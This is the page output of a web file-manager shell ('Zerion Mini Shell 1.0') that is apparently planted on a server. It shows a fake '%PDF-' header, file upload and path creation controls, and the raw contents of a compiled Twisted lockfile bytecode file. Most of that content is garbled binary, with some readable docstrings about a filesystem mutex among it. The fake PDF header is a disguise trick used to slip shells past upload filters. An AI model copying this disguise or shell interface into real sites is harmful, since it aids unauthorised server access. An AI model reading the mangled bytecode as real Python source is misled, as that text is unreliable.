%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/__pycache__/lockfile.cpython-312.pyc

�

Ϫ�f*���dZddlZddlZddlmZddlmZd�ZddlmZej�sddlm
Z
mZmZ
mZdZnd	Z	ddlZdd
lmZdZdZd
�Z
eZd�Zd�Zd�Z
Gd�d�Zd�ZddgZy#e$rdZ
Y�&wxYw)z&
Filesystem-based interprocess mutex.
�N)�time)�platformc�@�ttt�dz��S)Ni�)�str�int�_uniquefloat���9/usr/lib/python3/dist-packages/twisted/python/lockfile.py�uniquers���s�<�>�D�(�)�*�*r
)�rename)�kill�readlink�remove�symlinkFT)�OpenProcess��Wc��	tdd|�td��#tj$rQ}|jdt
k(rYd}~y|jdtk(rttjd���d}~wwxYw)Nrz OpenProcess is required to fail.)
r�RuntimeError�
pywintypes�error�args�ERROR_ACCESS_DENIED�ERROR_INVALID_PARAMETER�OSError�errno�ESRCH)�pid�signal�es   rrr4ss��	
G��A�q�#�&�#�#E�F�F���#�#�
��6�6�!�9� 3�3���V�V�A�Y�"9�9�!�%�+�+�t�4�4���
�s�
�A>�A9�1A9�9A>c��|dzt�zdz}tjj|d�}tj|�d}t||�5}|j
|�|j�ddd�	t||�y#1swY�xYw#t$r,tj|�tj|��wxYw)z�
        Write a file at C{filename} with the contents of C{value}. See the
        above comment block as to why this is needed.
        �.z.newlinkr�wN)r�os�path�join�mkdir�_open�write�flushr
�
BaseExceptionr�rmdir)�value�filename�newlinkname�
newvalname�mode�fs      rrrEs�����n�v�x�/�*�<���W�W�\�\�+�y�9�
�
�������
�:�t�
$�	��
�G�G�E�N�
�G�G�I�	�	��;��)�	�	���	��I�I�j�!��H�H�[�!��	�s�"B�B�B�5Cc�p�	ttjj|d�d�}|5|j	�}ddd�|S#1swYSxYw#t
$rV}|jtjk(s|jtjk(rt|jd���d}~wwxYw)zq
        Read the contents of C{filename}. See the above comment block as to why
        this is needed.
        r�rN)	r)r%r&r'�readrr�ENOENT�EIO)r/�fObj�resultr!s    rrr`s���
		�������h�	�:�C�@�D��
%������
%��M�
%��M���	��w�w�%�,�,�&�!�'�'�U�Y�Y�*>��a�g�g�t�,�,���	�s#�*A�A	�	A�	B5�AB0�0B5c��tjtjj|d��tj|�y)Nr)r%rr&r'r-)r/s r�rmlinkr<rs)��
�	�	�"�'�'�,�,�x��3�4�
����r
c�*�eZdZdZdZdZd�Zd�Zd�Zy)�FilesystemLocka
    A mutex.

    This relies on the filesystem property that creating
    a symlink is an atomic operation and that it will
    fail if the symlink already exists.  Deleting the
    symlink will release the lock.

    @ivar name: The name of the file associated with this lock.

    @ivar clean: Indicates whether this lock was released cleanly by its
        last owner.  Only meaningful after C{lock} has been called and
        returns True.

    @ivar locked: Indicates whether the lock is currently held by this
        object.
    NFc��||_y)N)�name)�selfr@s  r�__init__zFilesystemLock.__init__�s	����	r
c��d}		tttj��|j�d|_||_y#t
$�r�}tr1|jtjtjfvrYd}~y|jtjk(�r,	t|j�}nd#t
$rX}|jtjk(r	Yd}~Yd}~��tr&|jtjk(r	Yd}~Yd}~y�d}~wwxYw	t�tt|�d�n�#t
$r�}|jtjk(r`	t!|j�n=#t
$r1}|jtjk(rYd}~Yd}~Yd}~����d}~wwxYwd}Yd}~Yd}~����d}~wwxYwYd}~y�d}~wwxYw)z�
        Acquire this lock.

        @rtype: C{bool}
        @return: True if the lock is acquired, false otherwise.

        @raise OSError: Any exception L{os.symlink()} may raise,
            other than L{errno.EEXIST}.
        TNFr)rrr%�getpidr@r�_windowsr�EACCESr8�EEXISTrr7rrrr<�locked�clean)rArIr!rs    r�lockzFilesystemLock.lock�sc�����,
���B�I�I�K�(�$�)�)�4�X�D�K��D�J���[�*
�����E�L�L�%�)�)�+D� D�!��7�7�e�l�l�*��&�t�y�y�1���"���7�7�e�l�l�2�%�H�%�!�'�'�U�\�\�*A�$)�5�������+� ��S��1�-��"���7�7�e�k�k�1�&� &�t�y�y� 1��#*�&�#$�7�7�e�l�l�#:�%-�H� %��
&��%*�E�$�H����� !���U*
�s��1A�
G�2G�G�%B;�:G�;	D�D�!G�*#D�
G�D�D�G� D<�;G�<	G�G�#E9�8G�9	F3�F.�G�#G�-F.�.F3�3G�8G�G�G�G�G�Gc���t|j�}t|�tj�k7rtd|j�d���t
|j�d|_y)z�
        Release this lock.

        This deletes the directory with the given name.

        @raise OSError: Any exception L{os.readlink()} may raise.
        @raise ValueError: If the lock is not owned by this process.
        zLock z not owned by this processFN)rr@rr%rD�
ValueErrorr<rH)rArs  r�unlockzFilesystemLock.unlock�sP���t�y�y�!���s�8�r�y�y�{�"��u�T�Y�Y�M�1K�L�M�M��t�y�y����r
)	�__name__�
__module__�__qualname__�__doc__rIrHrBrJrMr	r
rr>r>ws#���$
�E�
�F��;�z
r
r>c��t|�}d}	|j�}|r|j�|S#|r|j�wwxYw)z�
    Determine if the lock of the given name is held or not.

    @type name: C{str}
    @param name: The filesystem path to the lock to test

    @rtype: C{bool}
    @return: True if the lock is held, False otherwise.
    N)r>rJrM)r@�lr:s   r�isLockedrT�sL��	�t��A�
�F��������
�H�H�J��:����
�H�H�J��s	�4�A	rT)rQrr%rr�twisted.python.runtimerrr
�	isWindowsrrrr<rrEr�win32apirrr�ImportError�openr)r>rT�__all__r	r
r�<module>r[s����

�	�%�+�+���x����<�<��H��H�G��(� ��"$��
	G�
�E��6�$�
c�c�L�(�Z�
(���K�����s�
A1�1A;�:A;

Zerion Mini Shell 1.0